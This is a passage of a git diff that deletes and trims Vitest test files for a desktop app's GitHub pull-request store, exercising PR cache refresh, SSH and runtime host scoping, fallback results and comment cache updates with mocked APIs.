-      } else {
-        store.getState().applyGitHubPRRefreshEvent({
-          sequence: 74,
-          reason: 'swr',
-          aliases: [alias],
-          status: 'in-flight',
-          requestStartedAt: NOW
-        })
-        store.getState().applyGitHubPRRefreshEvent({
-          sequence: 74,
-          reason: 'swr',
-          aliases: [alias],
-          outcome: { kind: 'found', pr: mismatch, fetchedAt: NOW }
-        })
-      }
-      await update.mock.results[0]?.value
-      expect(
-        findKnownWorktreeById(store.getState(), workspace.id, 'ssh:builder')?.linkedPR
-      ).toBeNull()
-      expect(findKnownWorktreeById(store.getState(), workspace.id, 'local')).toBe(sibling)
-      expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-        expect.objectContaining({
-          selector: 'server',
-          method: 'worktree.set',
-          params: expect.objectContaining({
-            worktree: `identity:${workspace.identity?.key}`,
-            linkedPR: null
-          })
-        })
-      )
-    }
-  )
-
   it.each([
     { route: 'lookup', durable: true },
     { route: 'coordinator', durable: true },
diff --git a/src/renderer/src/store/github/pull-requests/github-pr-branch-direct-refresh-scope.test.ts b/src/renderer/src/store/github/pull-requests/github-pr-branch-direct-refresh-scope.test.ts
index 057891ce207..c0db03491e8 100644
--- a/src/renderer/src/store/github/pull-requests/github-pr-branch-direct-refresh-scope.test.ts
+++ b/src/renderer/src/store/github/pull-requests/github-pr-branch-direct-refresh-scope.test.ts
@@ -4,8 +4,7 @@ import {
   createTestStore,
   makePR,
   mockApi,
-  resetRemoteRuntimeMocks,
-  runtimeEnvironmentCall
+  resetRemoteRuntimeMocks
 } from '../github-slice-test-harness'
 import type { AppState } from '../../types'
 import type { HostedReviewInfo } from '../../../../../shared/source-control/hosted-review/hosted-review-contracts'
@@ -27,129 +26,6 @@ afterEach(() => {
 })
 
 describe('createGitHubSlice.fetchPRForBranch', () => {
-  it('lets a forced refresh bypass a non-forced inflight request and keeps the newer result', async () => {
-    const store = createTestStore()
-    const repoPath = '/repo'
-    const branch = 'feature/test'
-    const prCacheKey = `${repoPath}::${branch}`
-    const refreshPRNow = mockApi.gh.refreshPRNow
-    ;(mockApi.gh as unknown as { refreshPRNow?: typeof refreshPRNow }).refreshPRNow = undefined
-
-    let resolveInitial: ((value: null) => void) | undefined
-    const initialRequest = new Promise<null>((resolve) => {
-      resolveInitial = resolve
-    })
-
-    mockApi.gh.prForBranch
-      .mockReturnValueOnce(initialRequest)
-      .mockResolvedValueOnce(makePR({ number: 99, title: 'Forced refresh PR' }))
-
-    try {
-      const initialFetch = store.getState().fetchPRForBranch(repoPath, branch)
-      const forcedFetch = store.getState().fetchPRForBranch(repoPath, branch, { force: true })
-
-      await expect(forcedFetch).resolves.toMatchObject({ number: 99, title: 'Forced refresh PR' })
-
-      expect(store.getState().prCache[prCacheKey]?.data).toMatchObject({ number: 99 })
-
-      resolveInitial?.(null)
-      await expect(initialFetch).resolves.toBeNull()
-
-      expect(store.getState().prCache[prCacheKey]?.data).toMatchObject({ number: 99 })
-    } finally {
-      mockApi.gh.refreshPRNow = refreshPRNow
-    }
-  })
-
-  it('does not reuse local fresh PR cache for SSH-backed repos', async () => {
-    const store = createTestStore()
-    const repoPath = '/repo'
-    const branch = 'feature/test'
-    const pr = makePR({ number: 44 })
-
-    store.setState({
-      repos: [
-        {
-          id: 'repo-1',
-          path: repoPath,
-          name: 'repo',
-          kind: 'git',
-          connectionId: 'ssh-1'
-        }
-      ],
-      prCache: {
-        [`repo-1::${branch}`]: {
-          data: makePR({ number: 12, title: 'Local stale PR' }),
-          fetchedAt: Date.now()
-        }
-      }
-    } as unknown as Partial<AppState>)
-    mockApi.gh.refreshPRNow.mockResolvedValueOnce({
-      kind: 'found',
-      pr,
-      fetchedAt: Date.now()
-    })
-
-    await expect(store.getState().fetchPRForBranch(repoPath, branch)).resolves.toMatchObject({
-      number: 44
-    })
-
-    expect(mockApi.gh.refreshPRNow).toHaveBeenCalled()
-    expect(store.getState().prCache[`ssh:ssh-1::repo-1::${branch}`]?.data).toMatchObject({
-      number: 44
-    })
-    expect(store.getState().prCache[`repo-1::${branch}`]?.data).toMatchObject({
-      title: 'Local stale PR'
-    })
-  })
-
-  it('writes direct PR refresh results to the hosted-review scope captured at request start', async () => {
-    const store = createTestStore()
-    const repoPath = '/repo'
-    const repoId = 'repo-1'
-    const branch = 'feature/scope-switch'
-    const localHostedReviewCacheKey = getHostedReviewCacheKey(repoPath, branch, null, repoId)
-    const runtimeHostedReviewCacheKey = getHostedReviewCacheKey(
-      repoPath,
-      branch,
-      { activeRuntimeEnvironmentId: 'env-1' } as AppState['settings'],
-      repoId
-    )
-    let resolveRefresh: (
-      value: Awaited<ReturnType<typeof mockApi.gh.refreshPRNow>>
-    ) => void = () => {}
-    const refresh = new Promise<Awaited<ReturnType<typeof mockApi.gh.refreshPRNow>>>((resolve) => {
-      resolveRefresh = resolve
-    })
-    mockApi.gh.refreshPRNow.mockReturnValueOnce(refresh)
-
-    store.setState({
-      settings: null,
-      repos: [{ id: repoId, path: repoPath, name: 'repo', kind: 'git' }]
-    } as unknown as Partial<AppState>)
-
-    const request = store.getState().fetchPRForBranch(repoPath, branch, {
-      force: true,
-      repoId
-    })
-    store.setState({
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as AppState['settings']
-    } as Partial<AppState>)
-    resolveRefresh({
-      kind: 'found',
-      pr: makePR({ number: 12, title: 'Local request result' }),
-      fetchedAt: 2
-    })
-
-    await expect(request).resolves.toMatchObject({ title: 'Local request result' })
-    expect(store.getState().hostedReviewCache[localHostedReviewCacheKey]).toMatchObject({
-      data: expect.objectContaining({ provider: 'github', title: 'Local request result' }),
-      linkedReviewHintKey: 'github:12',
-      branchLookupGitHubPRNumber: 12
-    })
-    expect(store.getState().hostedReviewCache[runtimeHostedReviewCacheKey]).toBeUndefined()
-  })
-
   it('does not let a same-millisecond direct PR refresh overwrite an external hosted-review write', async () => {
     vi.useFakeTimers()
     vi.setSystemTime(100)
@@ -253,55 +129,3 @@ it.each([true, false])(
     }
   }
 )
-
-it('a runtime click keeps last good on a lost reply that polls ignore, until an answer settles it', async () => {
-  vi.useFakeTimers({ toFake: ['Date'] })
-  const store = createTestStore()
-  const key = 'runtime:env-1::repo-1::topic'
-  const pr = makePR()
-  store.setState({
-    repos: [
-      {
-        id: 'repo-1',
-        path: '/repo',
-        displayName: 'repo',
-        badgeColor: '',
-        addedAt: 1,
-        executionHostId: 'runtime:env-1'
-      }
-    ],
-    prCache: { [key]: { data: pr, fetchedAt: 1 } }
-  })
-  const read = (userRefresh: boolean) =>
-    store.getState().fetchPRForBranch('/repo', 'topic', {
-      force: true,
-      repoId: 'repo-1',
-      ...(userRefresh ? { userRefresh: true } : { reason: 'visible' as const })
-    })
-  runtimeEnvironmentCall.mockRejectedValueOnce(new Error('transport disconnected'))
-  expect(await read(false)).toEqual(pr)
-  expect(store.getState().prRefreshStates[key]).toBeUndefined()
-  runtimeEnvironmentCall.mockRejectedValueOnce(new Error('transport disconnected'))
-  expect(await read(true)).toEqual(pr)
-  expect(runtimeEnvironmentCall).toHaveBeenLastCalledWith(
-    expect.objectContaining({
-      method: 'github.prForBranch',
-      params: expect.objectContaining({ userRefresh: true })
-    })
-  )
-  expect(store.getState().prCache[key]).toEqual({ data: pr, fetchedAt: 1 })
-  expect(store.getState().prRefreshStates[key]).toMatchObject({
-    status: 'error',
-    errorType: 'unknown'
-  })
-  vi.setSystemTime(Date.now() + 1)
-  runtimeEnvironmentCall.mockResolvedValueOnce({
-    id: 'rpc',
-    ok: true,
-    result: { kind: 'found', pr: makePR({ state: 'merged' }), fetchedAt: 3 },
-    _meta: { runtimeId: 'remote-runtime' }
-  })
-  await read(false)
-  expect(store.getState().prCache[key]?.data?.state).toBe('merged')
-  expect(store.getState().prRefreshStates[key]).toBeUndefined()
-})
diff --git a/src/renderer/src/store/github/pull-requests/github-pr-branch-fallback-results.test.ts b/src/renderer/src/store/github/pull-requests/github-pr-branch-fallback-results.test.ts
deleted file mode 100644
index a747b6564f7..00000000000
--- a/src/renderer/src/store/github/pull-requests/github-pr-branch-fallback-results.test.ts
+++ /dev/null
@@ -1,232 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { _clearGitHubPRRefreshStartedEntriesForTest } from '../requests/request-coordination'
-import {
-  createTestStore,
-  makePR,
-  makePRRefreshWorktree,
-  mockApi,
-  resetRemoteRuntimeMocks
-} from '../github-slice-test-harness'
-import type { AppState } from '../../types'
-import { getHostedReviewCacheKey } from '../../slices/hosted-review/hosted-review-cache-identity'
-
-describe('createGitHubSlice.fetchPRForBranch', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-    mockApi.gh.prForBranch.mockResolvedValue(null)
-    mockApi.gh.refreshPRNow.mockReset()
-    mockApi.gh.refreshPRNow.mockResolvedValue({ kind: 'no-pr', fetchedAt: Date.now() })
-    mockApi.hostedReview.forBranch.mockResolvedValue(null)
-    _clearGitHubPRRefreshStartedEntriesForTest()
-  })
-
-  afterEach(() => {
-    _clearGitHubPRRefreshStartedEntriesForTest()
-    vi.useRealTimers()
-  })
-
-  it.each(['open', 'draft'] as const)(
-    'clears visible cached %s PR data when a fallback refresh misses',
-    async (state) => {
-      const store = createTestStore()
-      const repoPath = '/repo'
-      const repoId = 'repo-1'
-      const branch = 'feature/fallback-miss'
-      const cachedPR = makePR({ number: 12, state, title: 'Visible cached PR' })
-      const hostedReviewCacheKey = getHostedReviewCacheKey(repoPath, branch, null, repoId)
-
-      store.setState({
-        repos: [{ id: repoId, path: repoPath, name: 'repo', kind: 'git' }],
-        prCache: {
-          [`${repoId}::${branch}`]: {
-            data: cachedPR,
-            fetchedAt: 1
-          }
-        },
-        hostedReviewCache: {
-          [hostedReviewCacheKey]: {
-            data: {
-              provider: 'github',
-              number: 12,
-              title: 'Visible cached PR',
-              state,
-              url: 'https://github.com/acme/orca/pull/12',
-              status: 'pending',
-              updatedAt: '2026-03-28T00:00:00Z',
-              mergeable: 'UNKNOWN'
-            },
-            fetchedAt: 1,
-            linkedReviewHintKey: 'github:12'
-          }
-        }
-      } as unknown as Partial<AppState>)
-      mockApi.gh.refreshPRNow.mockResolvedValueOnce({ kind: 'no-pr', fetchedAt: 2 })
-
-      await expect(
-        store.getState().fetchPRForBranch(repoPath, branch, {
-          force: true,
-          repoId,
-          fallbackPRNumber: 12
-        })
-      ).resolves.toBeNull()
-      expect(store.getState().prCache[`${repoId}::${branch}`]).toEqual({
-        data: null,
-        fetchedAt: 2
-      })
-      expect(store.getState().hostedReviewCache[hostedReviewCacheKey]).toEqual({
-        data: null,
-        fetchedAt: 2,
-        linkedReviewHintKey: 'github:12'
-      })
-    }
-  )
-
-  it('preserves cached merged PR data when a forced no-PR refresh matches the worktree head', async () => {
-    vi.useFakeTimers()
-    const store = createTestStore()
-    const repoPath = '/repo'
-    const repoId = 'repo-1'
-    const branch = 'feature/merged-pr-head-match'
-    const worktreeId = 'wt-merged-direct-match'
-    const cachedPR = makePR({
-      number: 12,
-      title: 'Merged PR still checked out',
-      state: 'merged',
-      headSha: 'merged-head'
-    })
-
-    store.setState({
-      repos: [{ id: repoId, path: repoPath, name: 'repo', kind: 'git' }],
-      worktreesByRepo: {
-        [repoId]: [
-          makePRRefreshWorktree({
-            id: worktreeId,
-            repoId,
-            branch,
-            head: 'merged-head'
-          })
-        ]
-      },
-      prCache: {
-        [`${repoId}::${branch}`]: {
-          data: cachedPR,
-          fetchedAt: 1
-        }
-      }
-    } as unknown as Partial<AppState>)
-    mockApi.gh.refreshPRNow.mockResolvedValueOnce({ kind: 'no-pr', fetchedAt: 2 })
-
-    await expect(
-      store.getState().fetchPRForBranch(repoPath, branch, {
-        force: true,
-        repoId,
-        worktreeId
-      })
-    ).resolves.toEqual(cachedPR)
-    expect(store.getState().prCache[`${repoId}::${branch}`]).toEqual({
-      data: cachedPR,
-      fetchedAt: 1
-    })
-    await vi.advanceTimersByTimeAsync(1000)
-    expect(mockApi.cache.setGitHub).not.toHaveBeenCalled()
-  })
-
-  it.each([
-    {
-      name: 'worktree id is missing',
-      worktreeId: undefined,
-      linkedPRNumber: undefined,
-      worktreesByRepo: {}
-    },
-    {
-      name: 'worktree cannot be found',
-      worktreeId: 'wt-missing',
-      linkedPRNumber: undefined,
-      worktreesByRepo: { 'repo-1': [] }
-    },
-    {
-      name: 'worktree head is empty',
-      worktreeId: 'wt-empty-head',
-      linkedPRNumber: undefined,
-      worktreesByRepo: {
-        'repo-1': [
-          makePRRefreshWorktree({
-            id: 'wt-empty-head',
-            branch: 'feature/merged-pr-stale-direct',
-            head: ''
-          })
-        ]
-      }
-    },
-    {
-      name: 'cached PR head differs from worktree head',
-      worktreeId: 'wt-moved-head',
-      linkedPRNumber: undefined,
-      worktreesByRepo: {
-        'repo-1': [
-          makePRRefreshWorktree({
-            id: 'wt-moved-head',
-            branch: 'feature/merged-pr-stale-direct',
-            head: 'new-head'
-          })
-        ]
-      }
-    },
-    {
-      name: 'an explicit linked PR lookup misses',
-      worktreeId: 'wt-linked-pr-miss',
-      linkedPRNumber: 12,
-      worktreesByRepo: {
-        'repo-1': [
-          makePRRefreshWorktree({
-            id: 'wt-linked-pr-miss',
-            branch: 'feature/merged-pr-stale-direct',
-            head: 'merged-head',
-            linkedPR: 12
-          })
-        ]
-      }
-    }
-  ])('clears cached merged PR data on forced no-PR refresh when $name', async (testCase) => {
-    const store = createTestStore()
-    const repoPath = '/repo'
-    const repoId = 'repo-1'
-    const branch = 'feature/merged-pr-stale-direct'
-    const cachedPR = makePR({
-      number: 12,
-      title: 'Stale merged PR',
-      state: 'merged',
-      headSha: 'merged-head'
-    })
-
-    store.setState({
-      repos: [{ id: repoId, path: repoPath, name: 'repo', kind: 'git' }],
-      worktreesByRepo: testCase.worktreesByRepo,
-      prCache: {
-        [`${repoId}::${branch}`]: {
-          data: cachedPR,
-          fetchedAt: 1
-        }
-      }
-    } as unknown as Partial<AppState>)
-    mockApi.gh.refreshPRNow.mockResolvedValueOnce({ kind: 'no-pr', fetchedAt: 2 })
-
-    await expect(
-      store.getState().fetchPRForBranch(repoPath, branch, {
-        force: true,
-        repoId,
-        worktreeId: testCase.worktreeId,
-        linkedPRNumber: testCase.linkedPRNumber
-      })
-    ).resolves.toBeNull()
-    const fetchedHeadOid = Object.values(testCase.worktreesByRepo)
-      .flat()
-      .find((worktree) => worktree.id === testCase.worktreeId)?.head
-    expect(store.getState().prCache[`${repoId}::${branch}`]).toEqual({
-      data: null,
-      fetchedAt: 2,
-      ...(fetchedHeadOid ? { fetchedHeadOid } : {})
-    })
-  })
-})
diff --git a/src/renderer/src/store/github/pull-requests/github-pr-host-scope.test.ts b/src/renderer/src/store/github/pull-requests/github-pr-host-scope.test.ts
deleted file mode 100644
index 21a73206adc..00000000000
--- a/src/renderer/src/store/github/pull-requests/github-pr-host-scope.test.ts
+++ /dev/null
@@ -1,411 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { forgeOwnerHostIdForWorkspace } from '../../../runtime/source-control/forge/forge-credential-target'
-import type { PRComment } from '../../../../../shared/github/comment-types'
-import type { Repo } from '../../../../../shared/repo-types'
-import { getRepoExecutionHostId } from '../../../../../shared/execution-host'
-import { getGitHubPRCacheKey } from '../../../../../shared/github/github-cache-key'
-import { prChecksCacheSuffix, prCommentsCacheSuffix } from '../cache/cache-identity'
-import { getHostedReviewCacheKey } from '../../slices/hosted-review/hosted-review-cache-identity'
-import { getVisibleHostedReviewRefreshTargets } from '../../slices/hosted-review/refresh/visible-hosted-review-refresh-targets'
-import { resolveChecksPanelReviewLookup } from '../../../components/right-sidebar/checks-panel/checks-panel-review-lookup-authority'
-import { createUpdateWorktreeMeta } from '../../slices/worktrees/metadata/update-worktree-meta'
-import { findKnownWorktreeById } from '../../slices/worktrees/listing/detected-worktree-meta'
-import { persistWorktreeMeta } from '../../slices/worktrees/metadata/worktree-meta-persist'
-import {
-  createTestStore,
-  makePR,
-  makePRRefreshWorktree,
-  mockApi,
-  resetRemoteRuntimeMocks,
-  runtimeEnvironmentCall
-} from '../github-slice-test-harness'
-
-vi.mock('../../slices/worktrees/metadata/worktree-meta-persist', () => ({
-  persistWorktreeMeta: vi.fn().mockResolvedValue(undefined)
-}))
-
-const localRepo: Repo = {
-  id: 'project',
-  path: '/local/project',
-  displayName: 'Project',
-  badgeColor: 'blue',
-  addedAt: 1,
-  gitRemoteIdentity: {
-    canonicalKey: 'github.com/owner/project',
-    remoteName: 'origin',
-    remoteUrl: 'https://github.com/owner/project.git'
-  }
-}
-const branch = 'feature/remote-ci'
-const localPR = makePR({ number: 11, checksStatus: 'failure' })
-const remotePR = makePR({ number: 22 })
-const checks = [{ name: 'build', status: 'completed', conclusion: 'success', url: null }]
-
-function setup(remoteRepo: Repo) {
-  const store = createTestStore()
-  const hostId = getRepoExecutionHostId(remoteRepo)
-  const worktree = makePRRefreshWorktree({
-    id: 'project::/worktree',
-    repoId: remoteRepo.id,
-    branch,
-    hostId,
-    linkedPR: remotePR.number
-  })
-  store.setState({
-    repos: [localRepo, remoteRepo],
-    worktreesByRepo: { project: [worktree] },
-    activeWorktreeId: worktree.id,
-    activeWorkspaceExecutionHostId: hostId,
-    visibleReviewWorktreeIds: [worktree.id],
-    sshConnectionStates: new Map([
-      ['builder', { targetId: 'builder', status: 'connected', error: null, reconnectAttempt: 0 }]
-    ]),
-    prCache: { [`project::${branch}`]: { data: localPR, fetchedAt: Date.now() } }
-  })
-  return { store, worktree, hostId }
-}
-
-describe('PR panel with local and remote copies of one project', () => {
-  beforeEach(() => {
-    vi.useFakeTimers()
-    vi.setSystemTime(1_000_000)
-    vi.clearAllMocks()
-    resetRemoteRuntimeMocks()
-    mockApi.gh.refreshPRNow.mockReset()
-    mockApi.gh.refreshPRNow.mockResolvedValue({
-      kind: 'found',
-      pr: remotePR,
-      fetchedAt: Date.now()
-    })
-    mockApi.gh.prChecks.mockResolvedValue(checks)
-    mockApi.gh.prComments.mockResolvedValue([])
-    runtimeEnvironmentCall.mockImplementation(({ method }) => ({
-      id: method,
-      ok: true,
-      result:
-        method === 'github.prForBranch' ? remotePR : method === 'github.prChecks' ? checks : [],
-      _meta: { runtimeId: 'server' }
-    }))
-  })
-  afterEach(() => vi.useRealTimers())
-
-  it.each([
-    { host: 'ssh', samePath: false },
-    { host: 'runtime', samePath: false },
-    { host: 'ssh', samePath: true },
-    { host: 'runtime', samePath: true }
-  ])('loads PR details and CI for $host (same path: $samePath)', async ({ host, samePath }) => {
-    const remoteRepo: Repo = {
-      ...localRepo,
-      path: samePath ? localRepo.path : '/remote/project',
-      ...(host === 'ssh' ? { connectionId: 'builder' } : { executionHostId: 'runtime:server' })
-    }
-    const { store, worktree, hostId } = setup(remoteRepo)
-    if (samePath) {
-      store.setState({
-        worktreesByRepo: {
-          project: [
-            { ...worktree, hostId: 'local', head: 'local-head', linkedPR: localPR.number },
-            worktree
-          ]
-        }
-      })
-    }
-    const options = {
-      repoId: remoteRepo.id,
-      worktreeId: worktree.id,
-      linkedPRNumber: remotePR.number,
-      ...(samePath ? { repoOwnerExecutionHostId: hostId } : {})
-    }
-    const key = getGitHubPRCacheKey(
-      remoteRepo.path,
-      remoteRepo.id,
-      branch,
-      null,
-      remoteRepo.connectionId,
-      remoteRepo.executionHostId,
-      true
-    )
-
-    await store.getState().fetchPRForBranch(remoteRepo.path, branch, options)
-    const pr = store.getState().prCache[key]?.data
-    expect(pr?.number).toBe(remotePR.number)
-    expect(
-      resolveChecksPanelReviewLookup({
-        pr,
-        prCachedHasPR: pr != null,
-        hostedReview: null
-      }).state
-    ).toBe('found')
-
-    await store
-      .getState()
-      .fetchPRChecks(remoteRepo.path, remotePR.number, branch, undefined, null, options)
-    await store.getState().fetchPRComments(remoteRepo.path, remotePR.number, options)
-
-    expect(store.getState().prCache[key]?.data?.checksStatus).toBe('success')
-    expect(
-      store.getState().checksCache[`${hostId}::project::${prChecksCacheSuffix(remotePR.number)}`]
-        ?.data
-    ).toEqual(checks)
-    expect(
-      store.getState().commentsCache[
-        `${hostId}::project::${prCommentsCacheSuffix(remotePR.number)}`
-      ]?.data
-    ).toEqual([])
-    expect(store.getState().prCache[`project::${branch}`]?.data).toEqual(localPR)
-  })
-
-  it.each(['enqueue', 'refresh'] as const)(
-    '%s preserves a server-qualified legacy SSH owner when direct SSH overlaps',
-    async (action) => {
-      const serverRepo: Repo = {
-        ...localRepo,
-        path: '/server/project',
-        executionHostId: 'runtime:server',
-        connectionId: 'builder'
-      }
-      const directRepo: Repo = {
-        ...serverRepo,
-        path: '/direct/project',
-        executionHostId: 'ssh:builder'
-      }
-      const { store, worktree } = setup(serverRepo)
-      const directKey = `ssh:builder::project::${branch}`
-      const directEntry = { data: localPR, fetchedAt: Date.now() }
-      store.setState({
-        repos: [directRepo, serverRepo],
-        worktreesByRepo: { project: [{ ...worktree, hostId: 'ssh:builder' }] },
-        activeWorkspaceExecutionHostId: 'ssh:builder',
-        prCache: { [directKey]: directEntry }
-      })
-
-      const refresh = () => {
-        if (action === 'enqueue') {
-          store.getState().enqueueGitHubPRRefresh(worktree.id, 'active', 80, 'runtime:server')
-        } else {
-          store.getState().refreshGitHubForWorktree(worktree.id, 'runtime:server')
-        }
-      }
-      refresh()
-
-      await vi.waitFor(() => {
-        expect(store.getState().prCache[`runtime:server::project::${branch}`]?.data?.number).toBe(
-          22
-        )
-      })
-      expect(store.getState().prCache[directKey]).toBe(directEntry)
-      expect(mockApi.gh.enqueuePRRefresh).not.toHaveBeenCalled()
-      expect(mockApi.gh.refreshPRNow).not.toHaveBeenCalled()
-      expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-        expect.objectContaining({ selector: 'server', method: 'github.prForBranch' })
-      )
-
-      vi.clearAllMocks()
-      store.setState({ repos: [directRepo] })
-      refresh()
-      expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-      expect(mockApi.gh.enqueuePRRefresh).not.toHaveBeenCalled()
-      expect(mockApi.gh.refreshPRNow).not.toHaveBeenCalled()
-      expect(store.getState().prCache[directKey]).toBe(directEntry)
-    }
-  )
-
-  it.each(['ssh', 'runtime'] as const)(
-    'clears only the %s copy of a linked merged PR on a fresh cache hit',
-    async (host) => {
-      const remoteRepo: Repo = {
-        ...localRepo,
-        ...(host === 'ssh' ? { connectionId: 'builder' } : { executionHostId: 'runtime:server' })
-      }
-      const { store, worktree, hostId } = setup(remoteRepo)
-      const localWorktree = { ...worktree, hostId: 'local' as const }
-      const cachedPR = makePR({
-        number: remotePR.number,
-        state: 'merged',
-        headSha: 'merged-head',
-        headDivergedFromMergedPRAtOid: worktree.head
-      })
-      const remoteKey = getGitHubPRCacheKey(
-        remoteRepo.path,
-        remoteRepo.id,
-        branch,
-        null,
-        remoteRepo.connectionId,
-        remoteRepo.executionHostId,
-        true
-      )
-      const updateWorktreeMeta = vi.fn(createUpdateWorktreeMeta(store.setState, store.getState))
-      store.setState({
-        worktreesByRepo: { project: [localWorktree, worktree] },
-        detectedWorktreesByRepo: {},
-        folderWorkspaces: [],
-        sortEpoch: 0,
-        prCache: {
-          ...store.getState().prCache,
-          [remoteKey]: { data: cachedPR, fetchedAt: Date.now() }
-        },
-        getKnownWorktreeById: (id, ownerHostId) =>
-          findKnownWorktreeById(store.getState(), id, ownerHostId),
-        updateWorktreeMeta,
-        fetchHostedReviewForBranch: vi.fn().mockResolvedValue(null)
-      })
-
-      expect(
-        await store.getState().fetchPRForBranch(remoteRepo.path, branch, {
-          repoId: remoteRepo.id,
-          repoOwnerExecutionHostId: hostId,
-          worktreeId: worktree.id,
-          linkedPRNumber: remotePR.number
-        })
-      ).toEqual(cachedPR)
-      await updateWorktreeMeta.mock.results[0]?.value
-
-      expect(findKnownWorktreeById(store.getState(), worktree.id, 'local')).toBe(localWorktree)
-      expect(findKnownWorktreeById(store.getState(), worktree.id, hostId)?.linkedPR).toBeNull()
-      expect(persistWorktreeMeta).toHaveBeenCalledWith(
-        host === 'runtime' ? { kind: 'environment', environmentId: 'server' } : { kind: 'local' },
-        worktree.id,
-        expect.objectContaining({ linkedPR: null }),
-        hostId,
-        undefined
-      )
-      expect(mockApi.gh.refreshPRNow).not.toHaveBeenCalled()
-      expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
-    }
-  )
-
-  it.each(['ssh', 'runtime', 'paired-legacy', 'paired-stamped'] as const)(
-    'mutates the %s owner comment cache and preserves the same-ID twin',
-    async (host) => {
-      const remoteRepo: Repo = {
-        ...localRepo,
-        ...(host === 'ssh' ? { connectionId: 'builder' } : { executionHostId: 'runtime:server' })
-      }
-      if (host.startsWith('paired')) {
-        remoteRepo.connectionId = 'builder'
-      }
-      const { store, hostId, worktree } = setup(remoteRepo)
-      const workspace = host.startsWith('paired')
-        ? {
-            ...worktree,
-            hostId: 'ssh:builder' as const,
-            ...(host === 'paired-stamped' ? { runtimeOwnerEnvironmentId: 'server' } : {})
-          }
-        : worktree
-      store.setState({ worktreesByRepo: { project: [workspace] } })
-      const comment: PRComment = {
-        id: 1,
-        author: 'reviewer',
-        authorAvatarUrl: '',
-        body: 'Review',
-        createdAt: '',
-        url: '',
-        threadId: 'thread',
-        isResolved: false,
-        reactionSubjectId: 'subject'
-      }
-      const reply = { ...comment, id: 2, body: 'Reply' }
-      const conversation = { ...comment, id: 3, body: 'Conversation' }
-      const options = {
-        repoId: remoteRepo.id,
-        repoOwnerExecutionHostId: forgeOwnerHostIdForWorkspace(remoteRepo, workspace)
-      }
-      const suffix = prCommentsCacheSuffix(remotePR.number)
-      const localKey = `project::${suffix}`
-      const remoteKey = `${hostId}::project::${suffix}`
-      const localEntry = { data: [comment], fetchedAt: Date.now() }
-      store.setState({ commentsCache: { [localKey]: localEntry } })
-      mockApi.gh.prComments.mockResolvedValue([comment])
-      mockApi.gh.resolveReviewThread.mockResolvedValue(true)
-      mockApi.gh.setPRCommentReaction.mockResolvedValue(false)
-      mockApi.gh.addPRReviewCommentReply.mockResolvedValue({ ok: true, comment: reply })
-      mockApi.gh.addIssueComment.mockResolvedValue({ ok: true, comment: conversation })
-      runtimeEnvironmentCall.mockImplementation(({ method }) => ({
-        id: method,
-        ok: true,
-        result:
-          method === 'github.prComments'
-            ? [comment]
-            : method === 'github.resolveReviewThread'
-              ? true
-              : method === 'github.setPRCommentReaction'
-                ? false
-                : {
-                    ok: true,
-                    comment: method === 'github.addPRReviewCommentReply' ? reply : conversation
-                  }
-      }))
-
-      await store.getState().fetchPRComments(remoteRepo.path, remotePR.number, options)
-      const resolving = store
-        .getState()
-        .resolveReviewThread(remoteRepo.path, remotePR.number, 'thread', true, options)
-      expect(store.getState().commentsCache[remoteKey]?.data?.[0].isResolved).toBe(true)
-      expect(await resolving).toBe(true)
-      const reacting = store
-        .getState()
-        .setPRCommentReaction(remoteRepo.path, remotePR.number, 'subject', '+1', true, options)
-      expect(store.getState().commentsCache[remoteKey]?.data?.[0].reactions).toEqual([
-        { content: '+1', count: 1, viewerHasReacted: true }
-      ])
-      expect(await reacting).toBe(false)
-      expect(store.getState().commentsCache[remoteKey]?.data?.[0].reactions ?? []).toEqual([])
-      await store
-        .getState()
-        .addPRReviewCommentReply(remoteRepo.path, remotePR.number, comment.id, reply.body, options)
-      await store
-        .getState()
-        .addPRConversationComment(remoteRepo.path, remotePR.number, conversation.body, options)
-      expect(store.getState().commentsCache[remoteKey]?.data?.map((entry) => entry.id)).toEqual([
-        1, 2, 3
-      ])
-      expect(store.getState().commentsCache[localKey]).toBe(localEntry)
-      if (host !== 'ssh') {
-        expect(mockApi.gh.resolveReviewThread).not.toHaveBeenCalled()
-        expect(mockApi.gh.addIssueComment).not.toHaveBeenCalled()
-        expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
-          expect.objectContaining({
-            selector: 'server',
-            method: 'github.resolveReviewThread'
-          })
-        )
-      } else {
-        expect(mockApi.gh.resolveReviewThread).toHaveBeenCalledWith(
-          expect.objectContaining({
-            repoOwnerExecutionHostId: hostId
-          })
-        )
-        expect(mockApi.gh.addIssueComment).toHaveBeenCalledWith(
-          expect.objectContaining({
-            repoOwnerExecutionHostId: hostId
-          })
-        )
-      }
-    }
-  )
-
-  it('keeps automatic server refresh enabled when the local copy is listed first', async () => {
-    const remoteRepo: Repo = {
-      ...localRepo,
-      path: '/remote/project',
-      executionHostId: 'runtime:server'
-    }
-    const { store } = setup(remoteRepo)
-    const key = getHostedReviewCacheKey(
-      remoteRepo.path,
-      branch,
-      null,
-      remoteRepo.id,
-      null,
-      remoteRepo.executionHostId,
-      true
-    )
-    const targets = getVisibleHostedReviewRefreshTargets(store.getState(), store.getState)
-
-    expect(targets.map((target) => target.key)).toContain(key)
-    await targets.find((target) => target.key === key)?.refresh()
-    expect(store.getState().prCache[`runtime:server::project::${branch}`]?.data?.number).toBe(22)
-    expect(store.getState().prCache[`project::${branch}`]?.data).toEqual(localPR)
-  })
-})
diff --git a/src/renderer/src/store/github/pull-requests/github-pr-request-lifetime.test.ts b/src/renderer/src/store/github/pull-requests/github-pr-request-lifetime.test.ts
index e953cf64354..05dbfd926da 100644
--- a/src/renderer/src/store/github/pull-requests/github-pr-request-lifetime.test.ts
+++ b/src/renderer/src/store/github/pull-requests/github-pr-request-lifetime.test.ts
@@ -28,11 +28,8 @@ function found(number: number): PRRefreshOutcome {
 }
 
 const cases = [
-  { route: 'local', replacement: 'force', outcome: 'found' },
-  { route: 'local', replacement: 'hint', outcome: 'found' },
   { route: 'local', replacement: 'force', outcome: 'rejected' },
   { route: 'runtime', replacement: 'force', outcome: 'found' },
-  { route: 'runtime', replacement: 'force', outcome: 'upstream-error' },
   { route: 'runtime', replacement: 'hint', outcome: 'no-pr' }
